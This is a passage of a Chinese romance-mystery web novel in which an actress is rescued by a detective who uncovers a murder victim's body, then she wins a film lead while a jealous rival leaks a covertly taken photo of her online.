“我过来。”
冷嫦彻底僵在原地，这个声音她近日才刚听过，有种天灵盖遭了雷劈的感觉，她连忙喝止对方接近的动作：“等等等等，你先别过来！”
她怎么也没想到，警局竟然会派郗正过来，这副灰头土脸的样子被郗正看到，那她还不如自己爬回去！
郗正步子大，常年受训身手矫健，像是没听到似的，反而靠近的速度逐渐加快。
“我、我、我自己能走。”冷嫦有些结巴，嘴瓜子跟着□□，“你别过来。”
郗正在电筒光线的照明下，每一步都踩在最快最安全的路径，冷嫦只能眼睁睁地看着他们之间的距离从五十米变成了五十厘米。
而她还在倔强地扶着树枝，让自己看上去没这么狼狈。
“不是让你别动么？”郗正将电筒的光朝下，昏暗回到了彼此的身上。
冷嫦看不清他的表情，浑身却反常地发烫：“我没事！”
郗正审视的目光由上而下，常人捕捉不到的细节他统统看在眼里，女孩隐隐作抖的手臂出卖了她的强撑。
“唉。”
一声微不可查的叹息在冷嫦耳边掠过，紧接着她就看到郗正单膝下跪，电筒灯光重新聚拢在她的双腿，他低着头，冷嫦只能看到郗正的头顶，有些不合时宜地想着——他怎么连后脑勺都这么好看。
郗正：“我先检查下，会有些唐突，你见谅。”
说完，他轻轻掀开的冷嫦的裙子，宽大的裙摆被他篡在掌心拧在膝盖处，只露出小腿处的肌肤，远远看去，冷嫦的长裙像个灯笼挂在腿上。
一道外伤清晰可见，目测五六厘米。
“被划了长的口子还没事？”
冷嫦：“……可能是擦伤。”
郗正：“除了小腿，大腿有受伤吗？”
他的左手始终提裙摆摁在膝盖高度的位置，半分不差，绝不上移。
冷嫦摇头：“没有的，大腿不疼。”
郗正另一只手托着手电，反复检查后才重新直起身子，站起的同时，掌心的裙摆滑落，有风吹过，带起微妙的弧度，裙摆擦过郗正的西裤，两人的身影远远重叠。
郗正重新将电筒的光朝向地面，避开了任何直射冷嫦的角度：“左腿外伤，两侧脚踝都有不同程度的肿胀。”
说完，他扶了一下冷嫦的腰身，冷嫦打了个寒颤往边上靠，但是脚底传来的锥心痛让她脸庞戴起痛苦面具。
郗正重新伸手稳住了她：“看来还是伤到骨头了。”
冷嫦疼的冷汗直下，龇着牙根本说不出话来，只觉腰处力道一收，郗正的掌心在她后腰反了方向，等冷嫦看清的时候，他已经停手再度蹲了下去，露出宽厚的背部，锐利侧脸在微弱的光芒里柔和了几分。
郗正：“上来，我背你。”
冷嫦：“……”
郗正：“或者，抱你。”
换做之前冷嫦一定想都不想扑过去求抱抱，可现在一身的污泞不说，脸也早就脏的不能看，她才不要现在和郗正有任何面对面的机会。
冷嫦不情愿地伸出双手环绕住郗正，对方温热的体温迅速蔓延开来，受了一晚上的冷风，这种温度对她而言可太致命了，她还来不及细品体温带给她的安慰，郗正已经将手中的电筒塞到冷嫦手里，他的手则勾住冷嫦的大腿，而后站直身子颠了颠。
冷嫦趴在郗正的肩膀：“外面是不是有很多记者。”
郗正：“救护车也到了。”
冷嫦：“你别相信网上那些报道，包括今天的事……”
郗正：“或许你更该担心一下自己的腿。”
冷嫦哑然，她握着手电筒，指尖酥麻酥麻。
每走一步，她与他之间都会因为力的作用产生冲力，
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郗正的后背很硬，撞得她怪疼的。
明明是入夜的冷，可她的耳根却和过了火似得烧。
像是为了遮掩此刻不适宜的心思，冷嫦打手电的动作有些倾斜，照到旁边一片平滑的土地，不同于冷嫦摔下来的地方，这里没有任何植被生长，发现光亮出现在不该有的地方之后，冷嫦忙抽手将电筒打回，有些抱怨：“要是刚才我摔在那的话，估计也不会被划伤了。”
“！”
郗正却突然停下脚步：“刚才那里，你照回去。”
冷嫦照做。
再次看向这里，冷嫦却也跟着觉察到了一丝异样……漫山遍野的植物，怎么反而这里空了一块。
郗正重新将冷嫦放下，动作很轻却也很快，似乎摆在他眼前的是一件更迫切的事。
不同于前几日与他逗趣时的生气，现在他散发的是一种冷嫦从未在任何人身上感受过的气压。
冷嫦垫着脚借力靠在粗壮的树旁，郗正拿回手电靠近，只见他倾身蹲下，抓了把土在手上碾了碾，而后语气冰冷得像换了个人：“是新泥，有人在这里翻过土。”
周遭气息瞬间改变，郗正顾不上受伤的冷嫦，只回身叮嘱她小心，然后找到两根硬实的木棍往下鼓捣，足足十分钟之后，她看到郗正僵立不动，地面的窟窿也已经有半米宽。
是挖到什么了么？冷嫦不安地问道：“郗正…怎么了……”
郗正吸了口凉气回过神来，他没有回答冷嫦，月色冰凉如旧，打在他孤独的背影之上。
冷嫦只看到他拿出通讯器，语气揉着霜雪，一字一顿道：“封锁摄山，我找到陈北的尸体了。”
*
去医院接到冷嫦的琳达用因祸得福四个字来形容冷嫦今晚的遭遇。
因为挖到陈北的事情，在场所有媒体都被警方赶走，冷嫦作为案发现场的关键人，因此身份被彻底隐瞒，现在各大媒体都在报道这件事直接压住了杨晋的恋情爆料，毕竟陈北的身份特殊，云城首富的私生子。
冷嫦也因伤退出了本次《凤鸣》的拍摄，然而事情并未结束，她拨通杨晋的电话，可是连续两天无论她和琳达怎么联系对方，都始终显示电话占线。
冷嫦也把杨晋所作所为上报给了公司领导，他们惊讶之余先是安抚，但面对冷嫦的上诉威胁，也只能出面解决，可惜结果和她一样，杨晋丢下一则公休申请，人间蒸发了。
“嫦嫦，你看新闻里的这人是不是那天送你到医院的警官？”
冷嫦左脚打着石膏，然而一听到琳达的说辞，立刻顾不上医嘱，单腿蹦哒着跑了过来，抄起遥控器不断加大音量，电视里记者采访道：
“您就是负责本次案件的郗警官吗？大众非常关心目前调查的进度，关于凶手有什么线索吗？”
郗正扫了眼前方，不留情面地捞起大手摁住了摄像机镜头。
冷嫦这边所看到的画面就是屏幕上的人先是靠近，而后抬手，画面顷刻间全部变黑，只剩郗正一如往日的声线，冷漠严厉：“无可奉告。”
5. 新戏
9.19杀人抛尸案正式立项，由郗正负责，虽然排除了冷嫦的作案可能，但兹事体大，冷嫦接到了警方要求她协助调查的电话。
琳达还在抱怨杨晋为人心机颇深，下午却接到了程导新剧试戏选角的通知。
“要去吗？”程导作为圈内数一数二的大导，他的剧就没有不爆的，琳达偷偷看向冷嫦，这几日她因为杨晋的事可没少生气，大半夜碰到尸体更是整个人被吓得不轻。
原以为冷嫦会因为杨晋牵线的缘故果断拒绝，却没想冷嫦在思考了几秒后还是点头道：“凤鸣的组刚退，网上都在传我和杨晋私奔了，我现在必须要出现在公众视线里，并且是正面积极的内容。”
程导的戏就是最好的机会，何况这人情又不是杨晋白给的，他现在欠下冷嫦的债怕是这辈子也还不清。
“那你的腿…”琳达欲言又止，“动作警匪片，免不了试戏有些大动作。”
冷嫦试着活动了一下腿：“只是骨裂，我稍微注意点就好。”
说完她指着腿上的石膏：“走吧，今天去医院把它拆了。”
绑着石膏去试戏，那群网友除了说她假装受伤吸引眼球之外并不会真的在意她身体的情况。
*
翌日一大早，冷嫦就穿着小香两件套出现在市局门口。
阳光正好，落在她的乌发上，黑亮的发丝透着淡淡的桂枝气，是种很合时节的味道。
来到大厅接待处，她将墨镜朝颅顶推，和之前一样的话语：“我找郗队。”
警队人员对冷嫦的出现再次惊讶——郗队不是说不准她再来吗？
几个好事的交头接耳偷偷讨论着：“这女孩上次被郗队丢出来，还敢来找他啊？”
“估计是遇上什么事了吧，否则犯不着三天两头来找他吧。”
“可我瞧着她哪里像有事的样子，倒更像是来追郗队的…那眼睛弯得像月亮。”
“得了吧，娱乐圈的人会看得上咱干警察的？”
“郗队不一样啊，他帅啊，那身材，我就没见过比他好的！”
“帅怎么了，娱乐圈最不缺的就是帅哥…哦，纠正一下，有钱的帅哥。”
接待的女警苦着张脸，郗队那天的命令还在耳边——不许冷嫦再进来。
冷嫦也猜出了对方的为难：“这次是真的有事找他。”
没等女警回复，邓平一路小跑到冷嫦跟前，和接待女警使了个没事的眼神，随后对冷嫦道：“冷小姐，跟我来，郗队已经在等你了。”
特地安排人来接她？冷嫦眉梢松涌，一整个喜悦的神色，难道是那天意外，两人近距离接触的缘故，郗正对她心生怜惜了？
明明是一身黑白粗麻编织的套装，却仍然在这片蓝色的刻板里鲜活得像一朵娇艳玫瑰，碍于脚伤她走得很慢，小步伐带起的腰身一扭一扭，看得那些没怎么见过美女的新人干警一愣一愣。
冷嫦还贴心地带上了亲手“准备”的早餐，白净小手提着木盒便当，时不时飘出来一点清新的鸡蛋香，原本笃定冷嫦绝不可能追郗队的人此刻也跟着动摇了。
不过这一次，邓平没有将她带到郗正的办公室，反而是一间面板全金属的问询室。
冷嫦：“这是？”
邓平回答：“郗队交待今天只是例行调查。”
冷嫦提着木盒的五指紧了紧，而后跟着对方进了冰冷的问询室。
只一张长桌和面对面的两把椅子，天花板上挂着两盏摄像头，一侧玻璃宽阔透底却看不到外头的场景。
难为她特地早起三个小时打扮，结果人把她当犯人审…
“郗队稍后就来。”
待邓平离开，冷嫦将饭盒重重地放在桌面上，发出砰的声响，脸上的笑容也跟着消失，只剩口中不悦的呢喃：“亏我还点了超贵的那家店，早知道拎几个包子打发他了。”
冷嫦不知道的是，她的每一个字每一个表情都全部落在了玻璃的另一侧。
副局方清明拍了拍他的肩：“这丫头就是你家里安排的相亲对象？”
郗正不动声色地“嗯。”
目光始终落在冷嫦受伤的腿上，微微拧眉。
方清明一脸的爱莫能助：“偏偏掺合到这件案子里，也难怪你非要安排暗线保护，但我得给你说清楚啊，咱们必须公私分明。”
郗正：“这么安排与我们之间的私交没有任何关系，换做谁我都会这么做，陈北因为什么失踪的您很清楚，这件事远比我们想象得严重。”
尤其是当他得知冷嫦出现在摄山不是无心之举，而是影帝杨晋的有心邀约，巧合的是，出事的当晚杨晋就离开了云市，他以一个刑警敏锐的直觉判断，杨晋和陈北的命案绝对有什么关联。
方清明郑重点头：“行，既然你都这么说了，那我心里也有数了，快进去吧，未来女朋友给你买的早餐都快凉了。”
郗正：“……”
郗正推开门进入问询室，冷嫦又亲自上演了一出变脸的好戏，洋溢着热情笑脸不说，还一副乖巧将餐盒往前推：“你来啦～这是我今天早上特地给你准备的。”
郗正冷眸扫过木质餐盒，薄唇轻启：“你做的？”
冷嫦心虚地看向别处，又不敢真的当面撒谎，便矢口扯道：“不是我还能是谁…”
说完还不忘悄悄偷看郗正，好在对方面色如常。
郗正没有继续早餐的事，而是让她坐下：“那天还有许多问题没来得及确定——”
一个小时过去，枯燥的对话终于结束，郗正合拢记录本转身就走。
冷嫦一脸问号，就这么结束了？
本来还以为两人之间总能多些交流的机会，可没想到郗正扭头便走的动作毫无任何留念。
“哦，对了。”就在郗正开门的同时，他单手扣住门框，侧过身子看她，“还有件事。”
冷嫦又惊又喜，她就知道这郗正再怎么也是个男人，没道理对她无动于衷。
然而郗正只点了点桌上的餐盒，嘴角上勾道：“比起这些，我更喜欢吃包子。”
——嗡
冷嫦完全懵住，呆呆地看向那面玻璃墙……
刚才她说的…都被听到了？
*
藏不住事的冷嫦一踏上保姆车，就把郗正真不近人情的事给数落了一遍。
琳达表示犯不着为了一个警察大动肝火，谁知道冷嫦直接爆了个大雷给他：“他可不仅仅是个警察，他还是我的相亲对象。”
就在琳达瞪大眼睛不敢相信的时候，冷嫦又补了道霹雳：“嗯，你猜的没错…我在追他。”
“我
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的祖宗啊！”琳达摸着自己的心脏，仿佛整个人快碎了，“你和杨晋的事情还没散干净，这时候又冒出来一个缠着警务人员的报道怎么办？”
冷嫦劝说琳达不用担心，她早晚会押着杨晋到镜头前给她道歉！
两人回去稍作整理之后便来到了程导新剧《无烟》的选角现场，进入内场之后，无数耳熟能详的面孔都聚集在此，不愧是程导，就算是身经百战手握各项大奖的老戏骨也都纷纷前来助阵。
好在冷嫦想竞选的是她擅长的恶毒女配，虽然戏路不分善恶，但谁也不想在这部家喻户晓的剧播出后因为出演恶毒反派而被追着骂，这是每个反派演员都最害怕的事情，却也是冷嫦最擅长应付的事情。
和导演监制简单问好后，冷嫦就拿到了试戏的台本，这是一段室内纯演技的戏码，没有任何道具和武打动作，这于冷嫦而言是件好事。
正式试镜开始，包括程导在内的几位坐在席前。
冷嫦在听到工作人员那声开始起，便彻底进入状态。
跋扈地倚靠在桌边，下颌挑高对着空气满是傲慢：“要是你不和我作对，或许，我们还能是朋友。”
最后一个字落下的时刻，她的眼底涌上一片遗憾，却在转瞬之间消失，她比划了一个拿枪的动作，举起的同时脑袋倾斜，指尖代表的枪口抵着太阳穴，嘴角明明是上扬的，可她的眼神却充满复杂的情绪，像是无奈，却又写着坚决。
“你想杀我，对么？”她作出玩弄手枪的动作，蹲下时的长发拂过脸颊，恶女容颜完美重现，明明没有任何功能灯的照明，程导却能看到冷嫦眼底藏不住的杀意凶光。
冷嫦的声音跟着降下温度，作出托举对方下巴的动作：“可你错过了唯一一次能杀我的机会，而我不一样——”
说罢，直腰，抽枪，蔑视的眼神带着近乎癫狂的情绪，恨与不舍交织其中……
毫无疑问，纵使口碑不佳，冷嫦也凭借出色的演技秒杀了大多数竞选者。
正当冷嫦准备离开之时，看到了一道熟悉的身影，坐在休息室等候试镜的竟然是许栀玫，她来当然是冲着女一号去的，许栀玫很快也发现了她。
相较之前许栀玫还知道装一下人设，这次明显揣着敌意朝她走来：
“别告诉我，你也来试镜。”
冷嫦耸耸肩：“让开，别挡道。”
许栀玫像是受了极大刺激似的：“你和杨晋退组之后，资方撤了大半，你怎么还有脸来试镜？还想祸害其他剧组吗？”
《凤鸣》本就是导演在杨晋的安排下邀请冷嫦进的组，对于后续的事情她一概不知也不屑知道，但今天听到如此结果还是免不了惊讶——杨晋退组了？
他不是请假公休去了么，怎么严重到退组的程度。
冷嫦和琳达对视一眼，两人皆是茫然。
正当许栀玫还想质问下去的时候，导演助理跑了出来：“冷小姐，请您等等。”
冷嫦回身，有些疑惑。
助理微笑着解释：“程导想邀请您试一下女主角的戏。”
冷嫦眨眼：“嗯？我？”
琳达捂嘴：“她？女主角？”
在旁的许栀玫闻言，脸色青白一片，若说被泼了油墨也不为过，她出道这么久还从没听说过程导会主动请人试戏。
6. 机关
助理推了推眼镜，这才注意到了同样在候场的许栀玫，礼貌点头道：“既然许小姐也在的话，不妨一会的戏两位一块吧。”
这下冷嫦确定了助理没在开玩笑，他们是真的在邀请她试女主角的戏。
许栀玫错愕的表情根本压不住，柔美的嗓子带着些许颤音：“程导没有弄错吧，她…她……”
许栀玫不知道该如何在人前形容冷嫦，若是尖锐的用词怕被人误会刻薄，可眼下的待遇又让她实在想不出任何委婉的说法。
助理微笑：“当然了，这是程导特别要求的。”
说着，他将准备好的戏本递上：“这场会有几个动作场景，您今天的服装有些不合适，程导让我带您先去更衣。”
冷嫦就不是冲着女主角来的，自然不像许栀玫准备周全，没有穿着符合女主刑警人设的清爽运动服。
琳达心生担忧，这部打着动作戏tag的大制作，对女主角的身手都有考验，冷嫦本就有腿伤……怕是……
看出了琳达脸上的犹豫，冷嫦握住了她的手腕，指腹轻轻揉搓，暗示她别担心，抬头对助理道：“那麻烦你带路了。”
一早上赶去警局，紧跟着连轴试戏，就算没有骨裂站上一天也难免疲累，何况她本就带伤，此刻不适感已经开始强烈。
许栀玫目光追随，看她进了导演专属休息室，后槽牙都恨得发出吱声，那个女人害她的凤鸣拍摄延期不说，现在还想抢她的女主角？
难以遏制的愤怒让她快步跟了上去，在看到助理离开之后她不顾经纪人的阻拦，悄悄推门进去。
这位传奇导演出生高门，执导的第一部电影就打入好莱坞，从此奠定了他在圈内的地位，然而个性古怪，从不与圈内任何人深交，更别提是邀请演员加入，可今天竟然主动安排冷嫦这样臭名昭著的艺人使用他的专属休息室？
许栀玫吃准了其中定有猫腻，再联想到冷嫦自出道以来和资本总有千丝万缕的关系，想想也是，冷嫦的通告很少收入不高，偏偏住在市中心最昂贵的地段，但凡出街奢侈品傍身不说，还都是各种高定限定款。
带着这种猜测，她挪身进门，独具一格的布局装潢，看似低调每件却都是称得上工艺品级别的匠心之作，许栀玫愈发妒恨此刻脱下外衣的冷嫦，正面对着一排世界顶奢品牌陈列的服装——任意挑选。
琳达坐在沙发上感叹：“程导的戏就是不一样啊，连赞助的服装都是六位数起步，你要是真选上女主角，那许栀玫估计真的会被气死。”
也正是琳达无心的这句话，让许栀玫内心的天秤彻底偏塌，对着冷嫦裸/露的白背部拍留下一张看似春光乍泄的照片。
“你等着吧，早晚有你身败名裂的时候。”
报复心作祟的爽感让许栀玫得意地离开，却在掩门的同时感受到一抹寒光从廊底传来，待她抬眸看去，却什么也没有，只有经纪人在边上抱怨：“跟进去干什么你？”
*
女主角试戏相比其他角色更具保密性，室内只有程导、程导助理以及一名陌生面容的高大男子，冷嫦在许栀玫之后进入房间，抬眼的时候正好和这名男子有一瞬的对视，那双棕栗色的眸子看似在笑，可却并不给人亲切的感觉。
程导没有多余的动作，看到两位女演员就位，立刻说道：“开始吧，不要浪费时间。”
这句话打断了冷嫦觉得方才一幕有些熟悉的错觉，再看向男子时，男人仍在看她，面对冷嫦直白的目光毫无避意，甚至带着若有似无的窥探。
这时，助理出来主持秩序：“许小姐，按照原顺序，您先请。”
程导的戏从来都是5分钟定生死，不给NG重来的机会，这是一场女主角含泪枪杀男二的戏码，期间还夹杂一个跳踢和翻滚的动作，虽称不上难，但讲究连贯，尤其是需要演员情感的递进。
不同于冷嫦方才试镜的角色，这场戏在情感上的处理方式更为复杂。
许栀玫虽说和她不对头，但演技却不差，一番演绎下来将女主撕心裂肺的痛楚表现得淋漓尽致，尤其是那跪地垂首的模样，扑面而来的破碎感。除此之外，她的动作戏也相当出彩，显然是有精心准备过。
程导点点头，表情颇为满意。
接下去就轮到冷嫦了，许栀玫朝程导那边微微鞠躬再转身回到冷嫦边上，那不屑的笑容来回扫她，像是胜负已定。
冷嫦不断回忆着台词，虽然她承认许栀玫的表演挑不出毛病，可她就是觉得有种违和，一名女警，和守护了他十年的青梅竹马，真的只剩悲痛吗？尤其是男二还站在了正义的对立面，亦敌亦友的关系与必有一死的结局。
“冷小姐，到您了。”程导助理谦卑有礼，代替了沉默寡言的程导。
冷嫦脑中闪过郗正的脸，她幻想着如果自己是个十恶不赦的大恶人，那家伙一定会毫不犹豫地开枪打死她吧…毕竟他好像只爱他的工作。
等等…
工作，挚友，抉择。
随着action的声响，冷嫦立刻进入角色状态，前面的演出都非常顺利，却在翻滚的时候压倒了左腿，她的眉头忍不住抽搐，好在下一个掏枪的动作让她恢复到角色中，倾倒的身形也立刻掰正。
不远处的许栀玫眼中露喜，显然是对冷嫦动作上的失误感到高兴。
冷嫦却并未因为差错停止演出，继续投入到后续的演出中，令人没想到的是，最后一幕原本应该泪如雨下冷嫦却颤抖着起身，面朝天空，演绎出任凭雨水浇灌的模样，而她的眼神露出无与伦比的坚定。
一时间，屋内静谧，像是被这跳脱的剧情给怔住了。
就连许栀玫也不自觉被吸引了目光。
始终一言不发的程导此刻终于起身，对着冷嫦说道：“你果然是个能带给人惊喜的演员。”
说完，却是看向了那名陌生男子的方向。
男子反常地一笑，略带轻佻的随意，只附和说：“你知道原著里这段是什么样，选谁，不需要我再给你建议了吧。”
程导
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却仍有斟酌，他看向拥有多部好口碑代表作的许栀玫，再看向一直处于舆论风口的冷嫦，犯难道：“角色演绎虽然她更接近原著，但打戏的这部分，确实和许栀玫有很大的差距，我还是要综合地去考——”
未等程导说完，男人再度出声坦言：“你难道没发现她的腿受伤了么？”
许栀玫和程导同时望向冷嫦，后知后觉的她还沉浸在被夸奖贴近原著的角色理解里，只讪讪点头道：“前几天出了点意外，一点小伤。”
男人的笑容愈发肆意，略带玩意的目光瞥向冷嫦之后，他的手落在程导的肩上：“你的眼光还是一如既往的差。”
虽是轻轻地拍下，程导却浑身一滞，那声音低得只有程导一人听到，所有人都沉浸在女主角落入冷嫦之手的意外里，唯有程导瞳孔迅速放大，写满了颤栗。
“不可能…我怎么会输给她……”许栀玫不可置信地摇头，她怎么会输给一个连代表作都没有的万年女配，她不信。
一旁的经纪人不断安抚：“别失态啊，外面还有很多记者等着。”
冷嫦更是惊喜万分，今天就和做梦一样，得到了导演的青睐获得试镜女主角的机会，原本也只当是一次锻炼，谁能想真的让她得到了这么重要的角色。
离开之际，助理加上了琳达的联系方式，称合同明天会寄到公司，完整剧本可以先拿回家熟悉起来。
要不是琳达拦着，冷嫦恨不得立刻上微博把好消息告诉那群黑粉，琳达实在是怕了翻车，没到合同敲定绝不许冷嫦高调宣布。
冷嫦愉快的心情实在难以消化，强迫自己看了两小时剧本还是兴奋的不像话，心想，不能发出去打脸黑粉的话，至少可以告诉郗正吧。
于是编辑了一条消息发给郗正，不过由于添加微信失败的缘故，她真的是用的最传统的方式——发短信。
内容如下：
【你好郗警官，我是冷嫦，我最近接了一部动作片，里面好多打戏好多机关哦～我都搞不定～】
那头的郗正摸出手机的一刹那，眼底些许动容，盯了几秒后准备放下手机。
叮叮的短信声再起，还是同样的陌生号码：
【郗警官你能不能帮帮我？】
郗正犹豫再三，还是回了过去：【说。】
冷嫦表情一亮，得逞的奸笑挤得眼睛眯成月牙儿，她缓缓打字：
【教教我，怎么搞定机关。】
郗正回复：【什么机关。】
冷嫦扑哧笑出声，骚话来到嘴边，她甚至已经可以想道郗正收到这条短信的反应。
叮叮声起，郗正立刻点开消息，未读界面赫然写着四个字：【公/安/机/关。】
连起来就是——郗警官你能不能教我怎么搞定……“你”。
顿时，低气压吞没办公室，郗正眉心拧出的川字让正在喝水的邓平吓得根本不敢动
他不停吞咽口水，最终还是忍不住小声试探着：“郗、郗队，是案件遇到什么困阻了吗？”
7. 胸膛
笃笃的敲门声打破了房内异样的气氛。
处理完跨省协作案的秦朗接受到郗正的召回令，正站在门口等待报到。
“郗队是我，秦朗。”
“进来吧。”
秦朗来之前去了趟110接警中心，将抽调的记录按照郗正的要求比对后整理带回。
办公室有了第三个人的加入，氛围缓和不少，一旁的邓平拍拍胸脯平静了片刻，在秦朗将资料平铺桌案的时候跟了过来。
秦朗的平光镜折出内敛精明，略带沙哑的声音讲述道：“那三天一共接到122起报案，其中37起发生在滨海辖区，郗队您没有猜错，有一通拨出后三秒钟就中断，电话来源查到正是陈北的号码，与他失踪的时间吻合。”
郗正翻掌将手机屏幕扣在桌面，唇线紧抿，眸色暗沉：“二验的报告也确定了，虽然尸体经过冷冻处理，但法医那边给出的死亡时间仍和失踪时间重叠。”
换句话来说，失踪和死亡是同时段发生的。
失踪地是滨海，发现地却是摄山，这有悖“远抛近埋”的基础犯罪心理，既然要埋何必跑到与滨海有着直线一百多公里的摄山？
郗正拿起秦朗整理好的文件，目光却不定格于陈北那通三秒的电话。
“冷冻。”意味着需要设备。
郗正双指微蜷，指关节与桌面轻轻磕响，一下一下的节奏跟上了他的心跳，他目光下移，手上的动作也逐渐慢了下来。
邓平和秦朗不敢贸然打断郗正的思考，只沉默地看着他在资料本上不断收拢的视线。
正当二人不知所措的时候，郗正的声音突然在看到一个16秒的通话后激进冒出：“这通电话是哪里打来的？什么内容查了吗？”
秦朗跟着郗正五年多，早就料到郗正会关注到此，便答道：“已经查过了，是星汉宫KTV的一名公主。”
（公主：在KTV通常指包厢内负责陪同和点歌的女性服务人员。）
郗正抬眸，给了他个说下去的眼神。
秦朗：“没什么大事，那公主说是有人喝酒打架，过了会又说没在打了，不需要处理了。”
“核实过了？”接警中心的事本轮不到他来管，可偏偏这通电话和陈北那通电话只晚了两分钟。
秦朗：“呃，应该是没有，这种报案一天不知道多少起，中心不会特地去核证。”
窗外乌云遮蔽，入秋后的每一场骤雨都会迎来一次降温，手机叮叮提示，天气预报发来的【今夜有雨，出门请注意携带防具。】
郗正在资料上圈住几个时间接近的报案电话：“这几个，你们俩和中心联系好都去复查一遍，星汉宫那边我自己去一趟。”
*
被郗正彻底抛在脑后的冷嫦也没有干等着，接到了闺蜜殷璇回国的电话，嘴不上锁的她也将即将出现《无烟》的好消息率先分享。
殷璇作为冷嫦纸尿裤时期就一同长大的好友，自然要第一个送她飞升好礼，单手把着方向盘对她说：“刚好我爸买下了KN珠宝送我，以后我做你的指定珠宝供应商吧。”
得闺蜜如此，还有何求。
冷嫦家虽然有钱，但和殷璇这样祖上十代就没穷过的大家族是不一样的，转念一想，郗正的家世也是如此，那些本模糊的回忆碎片突然有迹可循。
冷嫦收住话题问道：“对了，你知道万峰吗？”
殷璇挑挑眉，一向独闯星途不闻上流事的冷嫦竟然问她圈子里的事，她饶有兴致：“当然了，地产大亨的事情谁不关注。”
“他儿子是刑警的事你也清楚吗？”
说实话，要不是从冷忠明那里得知，她是完全不清楚郗正的情况，她高中念的并不是贵族学校，自然也不会把同学校的郗正往太子爷的方向靠，就算如今被反复证实，她还是有许多疑问。
“也不算什么秘密了，大家都挺惋惜郗叔叔的，小女儿意外去世，大儿子也去当了危险的警察，那话里话外都是老了无人送终的意思。”
“郗正还有妹妹？”这是冷嫦完全不知道的事，她大惊失色，追问下去，“因为什么…去世的？”
殷家和郗家往来并不密切，偶有业务往来，殷璇也只听了个大概：“不知道啊，当时就传郗正出国那天，他妹妹是遇到车祸还是什么，他后来好像也因为这个没出国，再后来的事你就知道了，他不顾反对考了公大当了刑警，好了，别说他了，我带你去店里转转——”
至于后面殷璇又说了什么，冷嫦已经完全听不进去了。
她的心情跟着落入冰池，倒不是因为当年得知他要出国就放弃告白的事情，而是她竟然对郗正这些年所经历的一切，一无所知。
像个彻头彻尾的陌生人，虽然理论上他们的关系也确实如此。
“喂？冷嫦，你还在听吗？”
冷嫦在指尖缠了束小辫，屋外雨水滴滴答答地砸在玻璃上，窗户里的身影模糊扭曲，然而冷嫦很清楚那滚烫的心意未被流年冲刷干净：“殷璇。”
被认真唤了名字的殷璇差点一脚刹车，电话里那个平日里大大咧咧口无遮拦的姑娘什么时候这么正经过？
她打着右转信号灯靠了边，然后回复道：“你说，我在。”
“你还记不记得我给你说过，我在学生时期暗恋过一个人。”
殷璇想了想，是有这么个事，她之前还经常拿这档子酸梅经历调侃冷嫦相亲的那些奇葩。
“那个人就是郗正。”
“什么？！”殷璇做梦也没想到这俩八竿子都打不到一块的人能有什么交集，一时动作幅度过大，手肘顶到了方向盘中间。
尖锐刺耳的喇叭声在雨夜里撕开秘密的裂痕。
片刻不敢停留的殷璇顾不上方才还因为时差不停打哈欠，眼下已经杀到了冷嫦楼下，冷嫦扎着半高马尾，明黄色漆面雨衣下，大长腿在路灯下晃得惹眼。
“上车！”玛莎拉蒂急停，殷璇抵着档位拨片，冷嫦才刚系上安全带，轰鸣的引擎就被远处的街景彻底吞没。
冷嫦握紧安全带，一副活着不好么的表情，哀怨地看了一眼殷璇：“要是琳达知道你又带我出门，我俩都得挨骂。”
殷璇把肚子里所有的疑问全盘托出，两个人怎么认识的，读书的时候发生了什么，现在又怎么变成相亲对象，说着还要掏出手机给他俩算八字。
冷嫦：“别别别，你好好开车，剩下的我慢慢给你说。”
抵达国贸商场的时候冷嫦没再穿雨衣，一身薄粉色的居家休闲服，连帽衫将她的脸挡了个大半，小腿白袜及膝，碍于腿伤的缘故她走得慢，挽着殷璇的时候还一个劲小声嘀咕着：“你走慢点，我脚疼呢。”
最危险的地方就是最安全的地方，殷璇妥妥御姐范，黑色公主切，走路带风，而在殷璇边上普通扮相，还因为脚疼微驼着背的冷嫦，远远看去，纯素人一个。
大家都光顾着看殷璇了，谁还有空研究那张宽松帽衫下的脸。
得益于此差异的冷嫦安全进入殷璇提到的KN珠宝旗舰店，KN并不如国际大牌出名，但是在国内很受年轻人追捧，经过一轮推广现在已经成为了轻奢系列著名品牌，殷璇回国也有这方面的原因。
两人进了KN大厅，店长一眼认出了新老板殷璇，立刻招呼两名sale过来招待。
殷璇成为新老板的事情还未下沉到基础员工，大家只当是来了什么大客户，便扬着专业笑脸迎了上来。
殷璇不比冷嫦，她毕业后就在家里的安排下参与各种经营，行事风格要比冷嫦果断许多，见到店内没什么客人之后才对店长道：“喊人去门口守着，暂时不对外营业。”
“好的。”
见到偌大的珠宝店只剩她二人之后，冷嫦
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才放心地脱下帽子。
店员们立刻认出了冷嫦，碍于还在上班时间，她们不敢议论客人，在推荐适合冷嫦的首饰时，却还是时不时偷看她几眼。
冷嫦看到blingbling，脚也不觉得疼了，兜里的手机嗡嗡震动个没完也感受不到，她挥手制止了店员们热情的服务，两眼放光道：“我自己挑就行，不用介绍。”
殷璇则退到墨绿真皮沙发处坐下，抬眼确定冷嫦已经进入购物状态，而外头又没有闲杂人员之后才低头拿出手机编辑——
【爸，咱和万峰今年有合作没？我想约郗叔叔他儿子见一面。】
刚放下手机，殷璇的眼尾扫到一个局促的动作，负责后端的一名店员在看到殷璇投过去的眼神之后立刻将手机藏了起来。
殷璇眯起眼，发现了不对劲。
她起身，朝那名店员走去，红底高跟鞋在地板上发出突兀的声响，堪比模特身高的殷璇加上高跟鞋的加持，整个人往那一站高了女店员整整一头，只听殷璇不悦的语气落下，紧跟着手掌摊开：“拿出来。”
女店员十指在身前紧扣，死死压着脑袋不敢吱声。
冷嫦也发现了这边的状况，恋恋不舍地离开了柜台朝她们走去。
殷璇的质问还在继续：“手机拿出来，你刚才拍了什么。”
冷嫦：“！”
女店员心虚地瞥了眼冷嫦，店长也严厉地指责道：“还不照做？你不想干了是吗？”
女店员浑身打了个寒颤，几番挣扎最终还是从口袋里摸出了手机交出去，屏幕还没来得及锁屏。
打开的正是微博界面。
【是本人，就在店里。[照片.jpg]】
几人的眼睛死死锁在这条评论上。
店长倒吸一口凉气，透露客人隐私在任何服务行业都是大忌，她甚至都想不出什么狡辩的话语。
冷嫦手快，立马拿过手机往上翻，结果就看到原博主的内容：
【肉身上位第一人，程导新戏口碑塌房，[美背照.jpg]@冷嫦】
冷嫦一眼就认出了照片的环境正是程导的专属休息室，她愣了愣，被偷拍了？
她诧异于爆料，更惊讶于她和这个店员无冤无仇，对方为何要在这个时候暴露她的行踪，像是被人狠狠敲了一棍子的懵，冷嫦的眼里的光黯了下去，零碎地洒向那名女店员：“你…你很讨厌我吗？”
